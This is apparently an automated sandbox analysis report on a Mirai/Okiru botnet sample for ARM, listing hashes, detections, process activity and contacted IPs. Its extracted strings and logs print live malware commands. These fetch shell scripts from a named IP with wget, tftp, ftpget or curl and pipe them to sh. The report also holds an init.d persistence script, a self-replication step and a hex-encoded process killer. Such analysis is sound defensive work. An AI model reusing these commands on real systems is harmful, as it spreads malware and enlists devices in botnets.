Linux Analysis Report
arm.nn-20241014-0317.elf

Overview

General Information

Sample name: arm.nn-20241014-0317.elf
Analysis ID: 1532895
MD5: dd8c11fa8938305bc31787cc153210d2
SHA1: c58a92d5303a111011c473ef655d4b2371d62277
SHA256: c40ac547c203204f3b8e75a3d733ea91d521ee20e065d38e543955f1629ada9b
Tags: user-elfdigest
Infos:

Detection

Mirai, Okiru
Score: 88
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "rm" command used to delete files or directories
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: arm.nn-20241014-0317.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: arm.nn-20241014-0317.elf ReversingLabs: Detection: 44%
Found strings indicative of a multi-platform dropper
Source: arm.nn-20241014-0317.elf String: (deleted)/proc/self/exe/proc/%s/exe/proc/opendir/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/./fd/socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencodersystem/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/login/proc/self/statusTracerPid/proc/1/cgroupkubepods/proc filesystem not found. Exiting. gorilla botnet didnt like this honeypot..../etc/motdw%s
Source: arm.nn-20241014-0317.elf String: incorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://87.120.84.247/lol.sh -O- | sh;/bin/busybox tftp -g http://87.120.84.247/ -r lol.sh -l- | sh;/bin/busybox ftpget http://87.120.84.247/ lol.sh lol.sh && sh lol.sh;curl http://87.120.84.247/curl.sh -o- | sh87.120.84.247GET /dlr. HTTP/1.0
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.15:47064 -> 154.216.19.139:199
Source: global traffic TCP traffic: 192.168.2.15:33894 -> 87.120.84.248:38242
Source: global traffic TCP traffic: 192.168.2.15:35508 -> 193.143.1.59:38242
Source: global traffic TCP traffic: 192.168.2.15:41128 -> 87.120.84.105:38242
Source: global traffic TCP traffic: 192.168.2.15:52204 -> 87.120.84.249:38242
Sample listens on a socket
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5571) Socket: 0.0.0.0:38242 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: arm.nn-20241014-0317.elf, custom.service.32.dr, mybinary.32.dr, bootcmd.32.dr, arm.nn-20241014-0317.elf.56.dr, inittab.32.dr, profile.32.dr String found in binary or memory: http://87.120.84.247/
Source: arm.nn-20241014-0317.elf String found in binary or memory: http://87.120.84.247/curl.sh
Source: arm.nn-20241014-0317.elf String found in binary or memory: http://87.120.84.247/lol.sh
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: (deleted)/proc/self/exe/proc/%s/exe/proc/opendir/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/./fd/socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencodersystem/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresha
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://87.120.84.247/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://87.120.84.247/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://87.120.84.247/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://87.120.84.247/lol.sh -O- | sh;/bin/busybox tftp -g http://87.120.84.247/ -r lol.sh -l- | sh;/bin/busybox ftpget http://87.120.84.247/ lol.sh lol.sh && sh lol.sh;curl http://87.120.84.247/curl.sh -o- | sh87.120.84.247GET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4l
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5591) SIGKILL sent: pid: 793, result: successful Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5591) SIGKILL sent: pid: 888, result: successful Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5591) SIGKILL sent: pid: 1729, result: successful Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5591) SIGKILL sent: pid: 3273, result: successful Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5591) SIGKILL sent: pid: 3278, result: successful Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5591) SIGKILL sent: pid: 5616, result: successful Jump to behavior
Source: classification engine Classification label: mal88.spre.troj.evad.linELF@0/10@2/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5571) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5571) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 5641) File: /etc/rcS.d/S99mybinary -> /etc/init.d/mybinary Jump to behavior
Source: /usr/bin/ln (PID: 5652) File: /etc/rc.d/S99arm.nn-20241014-0317.elf -> /etc/init.d/arm.nn-20241014-0317.elf Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5571) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5638) File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5646) File: /etc/init.d/arm.nn-20241014-0317.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5656) File opened: /proc/5781/status Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5656) File opened: /proc/5782/status Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5656) File opened: /proc/5783/status Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5656) File opened: /proc/5784/status Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5656) File opened: /proc/5785/status Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5656) File opened: /proc/5380/cmdline Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5656) File opened: /proc/5797/status Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5656) File opened: /proc/5754/status Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5656) File opened: /proc/5798/status Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5656) File opened: /proc/5755/status Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5656) File opened: /proc/5799/status Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5656) File opened: /proc/5790/status Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5656) File opened: /proc/5791/status Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5656) File opened: /proc/5792/status Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5656) File opened: /proc/5793/status Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5656) File opened: /proc/5794/status Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5656) File opened: /proc/5773/status Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5656) File opened: /proc/5795/status Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5656) File opened: /proc/5774/status Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5656) File opened: /proc/5752/status Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5656) File opened: /proc/5796/status Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5656) File opened: /proc/5786/status Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5656) File opened: /proc/5787/status Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5656) File opened: /proc/5788/status Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5656) File opened: /proc/803/cmdline Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5656) File opened: /proc/5789/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5607) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5636) Shell command executed: sh -c "chmod +x /etc/init.d/mybinary >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5639) Shell command executed: sh -c "ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5642) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/arm.nn-20241014-0317.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting arm.nn-20241014-0317.elf'\n /tmp/arm.nn-20241014-0317.elf &\n wget http://87.120.84.247/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping arm.nn-20241014-0317.elf'\n killall arm.nn-20241014-0317.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/arm.nn-20241014-0317.elf" Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5644) Shell command executed: sh -c "chmod +x /etc/init.d/arm.nn-20241014-0317.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5647) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5650) Shell command executed: sh -c "ln -s /etc/init.d/arm.nn-20241014-0317.elf /etc/rc.d/S99arm.nn-20241014-0317.elf >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 5638) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/mybinary Jump to behavior
Source: /bin/sh (PID: 5646) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/arm.nn-20241014-0317.elf Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 5649) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "rm" command used to delete files or directories
Source: /usr/bin/dash (PID: 5528) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.jSVYD7rAbM /tmp/tmp.KwWHcPVHap /tmp/tmp.1CeuP2Meep Jump to behavior
Source: /usr/bin/dash (PID: 5537) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.jSVYD7rAbM /tmp/tmp.KwWHcPVHap /tmp/tmp.1CeuP2Meep Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 5615) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5571) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5638) File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5646) File: /etc/init.d/arm.nn-20241014-0317.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5571) Writes shell script file to disk with an unusual file extension: /etc/init.d/mybinary Jump to dropped file
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5571) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 5642) Writes shell script file to disk with an unusual file extension: /etc/init.d/arm.nn-20241014-0317.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5571) File: /etc/init.d/mybinary Jump to dropped file
Source: /bin/sh (PID: 5642) File: /etc/init.d/arm.nn-20241014-0317.elf Jump to dropped file
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/arm.nn-20241014-0317.elf (PID: 5571) Queries kernel information via 'uname': Jump to behavior
Source: arm.nn-20241014-0317.elf, 5591.1.00007f8c1403e000.00007f8c14043000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm(<
Source: arm.nn-20241014-0317.elf, 5571.1.00007ffd2f7a3000.00007ffd2f7c4000.rw-.sdmp, arm.nn-20241014-0317.elf, 5591.1.00007ffd2f7a3000.00007ffd2f7c4000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm.nn-20241014-0317.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm.nn-20241014-0317.elf
Source: arm.nn-20241014-0317.elf, 5591.1.0000560120c4d000.0000560120d9c000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: arm.nn-20241014-0317.elf, 5571.1.0000560120c4d000.0000560120d9c000.rw-.sdmp Binary or memory string: V/arm/ro10 /usr/bin/gnome-shell!/usr/bin/vmtoolsd1/usr/libexec/geoclue-2.0/demos/agent!/proc/1553/exe0!/proc/740/exe1/usr/lib/policykit-1-gnome0!/proc/1514/exe0!/proc/764/exe1/proc/3250/exe/arm/ro
Source: arm.nn-20241014-0317.elf, 5571.1.00007ffd2f7a3000.00007ffd2f7c4000.rw-.sdmp Binary or memory string: /tmp/qemu-open.G28qYr
Source: arm.nn-20241014-0317.elf, 5571.1.00007ffd2f7a3000.00007ffd2f7c4000.rw-.sdmp Binary or memory string: V/tmp/qemu-open.G28qYr
Source: arm.nn-20241014-0317.elf, 5571.1.0000560120c4d000.0000560120d9c000.rw-.sdmp, arm.nn-20241014-0317.elf, 5591.1.0000560120c4d000.0000560120d9c000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: arm.nn-20241014-0317.elf, 5571.1.0000560120c4d000.0000560120d9c000.rw-.sdmp, arm.nn-20241014-0317.elf, 5591.1.0000560120c4d000.0000560120d9c000.rw-.sdmp Binary or memory string: V!/etc/qemu-binfmt/arm
Source: arm.nn-20241014-0317.elf, 5571.1.00007ffd2f7a3000.00007ffd2f7c4000.rw-.sdmp, arm.nn-20241014-0317.elf, 5591.1.00007ffd2f7a3000.00007ffd2f7c4000.rw-.sdmp, arm.nn-20241014-0317.elf, 5591.1.00007f8c1403e000.00007f8c14043000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: arm.nn-20241014-0317.elf, 5571.1.00007ffd2f7a3000.00007ffd2f7c4000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: arm.nn-20241014-0317.elf, 5591.1.00007f8c1403a000.00007f8c1403e000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd8
Source: arm.nn-20241014-0317.elf, 5591.1.0000560120c4d000.0000560120d9c000.rw-.sdmp Binary or memory string: !/proc/1588/exe0!/proc/723/exe1/usr/libexec/gvfsd-trash0!/usr/bin/ibus-daemon!/usr/bin1/proc/803/exe/arm/usr/bin0!/usr/bin/VGAuthService1/proc/3316/exe/arm/sr10!/proc/1585/exe0!/proc/724/exe1/proc/5615/exe/arm/ro10!/usr/bin/gnome-shell!/usr/bin/vmtoolsd1/usr/libexec/geoclue-2.0/demos/agent!/proc/1553/exe0!/proc/740/exe1/usr/lib/policykit-1-gnome0!/proc/1514/exe0!/proc/764/exe1/proc/3250/exe/arm/ro

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: arm.nn-20241014-0317.elf, type: SAMPLE
Source: Yara match File source: 5571.1.00007f8c14017000.00007f8c14032000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5591.1.00007f8c14017000.00007f8c14032000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: arm.nn-20241014-0317.elf, type: SAMPLE
Source: Yara match File source: 5571.1.00007f8c14017000.00007f8c14032000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5591.1.00007f8c14017000.00007f8c14032000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm.nn-20241014-0317.elf PID: 5571, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: arm.nn-20241014-0317.elf PID: 5591, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: arm.nn-20241014-0317.elf, type: SAMPLE
Source: Yara match File source: 5571.1.00007f8c14017000.00007f8c14032000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5591.1.00007f8c14017000.00007f8c14032000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: arm.nn-20241014-0317.elf, type: SAMPLE
Source: Yara match File source: 5571.1.00007f8c14017000.00007f8c14032000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5591.1.00007f8c14017000.00007f8c14032000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm.nn-20241014-0317.elf PID: 5571, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: arm.nn-20241014-0317.elf PID: 5591, type: MEMORYSTR
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
60.2.179.233
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
71.90.84.28
 unknown United States
20115 CHARTER-20115US false
144.61.87.6
 unknown United States
25993 AS-25993US false
7.104.147.155
 unknown United States
3356 LEVEL3US false
133.190.14.88
 unknown Japan 4729 JAEAJapanAtomicEnergyAgencyJP false
118.189.140.184
 unknown Singapore
17547 M1NET-SG-APM1NETLTDSG false
218.58.233.173
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
145.199.40.242
 unknown Netherlands
1101 IP-EEND-ASIP-EENDBVNL false
58.155.127.143
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
63.164.228.174
 unknown United States
1239 SPRINTLINKUS false
136.232.223.108
 unknown India
55836 RELIANCEJIO-INRelianceJioInfocommLimitedIN false
62.242.128.142
 unknown Denmark
3292 TDCTDCASDK false
38.156.45.210
 unknown United States
174 COGENT-174US false
22.157.45.81
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
118.4.131.201
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
101.30.217.91
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
197.233.4.93
 unknown Namibia
36999 TELECOM-NAMIBIANA false
196.248.64.178
 unknown South Africa
2018 TENET-1ZA false
170.44.217.44
 unknown United States
264957 CoopercitrusCooperativadeProdutoresRuraisBR false
75.176.39.153
 unknown United States
11426 TWC-11426-CAROLINASUS false
218.199.73.132
 unknown China
24358 CNGI-WH-IX-AS-APCERNET2IXatHuazhongUniversityofScienc false
189.54.53.218
 unknown Brazil
28573 CLAROSABR false
90.204.8.205
 unknown United Kingdom
5607 BSKYB-BROADBAND-ASGB false
75.186.114.23
 unknown United States
10796 TWC-10796-MIDWESTUS false
223.121.246.160
 unknown China
58453 CMI-INT-HKLevel30Tower1HK false
154.144.81.35
 unknown Morocco
6713 IAM-ASMA false
167.214.165.175
 unknown United States
33166 BFS-49-33166US false
28.12.136.149
 unknown United States
7922 COMCAST-7922US false
136.30.86.103
 unknown United States
19165 WEBPASSUS false
68.231.151.25
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
179.172.125.53
 unknown Brazil
26599 TELEFONICABRASILSABR false
137.58.139.115
 unknown Sweden
158 ERI-ASUS false
180.122.11.212
 unknown China
137702 CHINATELECOM-JIANGSU-NANJING-IDCNanjingJiangsuProvince false
12.34.60.180
 unknown United States
7018 ATT-INTERNET4US false
76.45.126.210
 unknown United States
11955 TWC-11955-ATLANTAUS false
222.50.212.47
 unknown China
38370 CTTNETChinaTieTongTelecommunicationsCorporationCN false
94.109.45.197
 unknown Belgium
47377 ORANGE_BELGIUM_SAKPNBelgiumBusinessNVhasbeenacquired false
76.51.26.114
 unknown United States
18494 CENTURYLINK-LEGACY-EMBARQ-WRBGUS false
161.180.255.133
 unknown United States
10695 WAL-MARTUS false
25.100.116.200
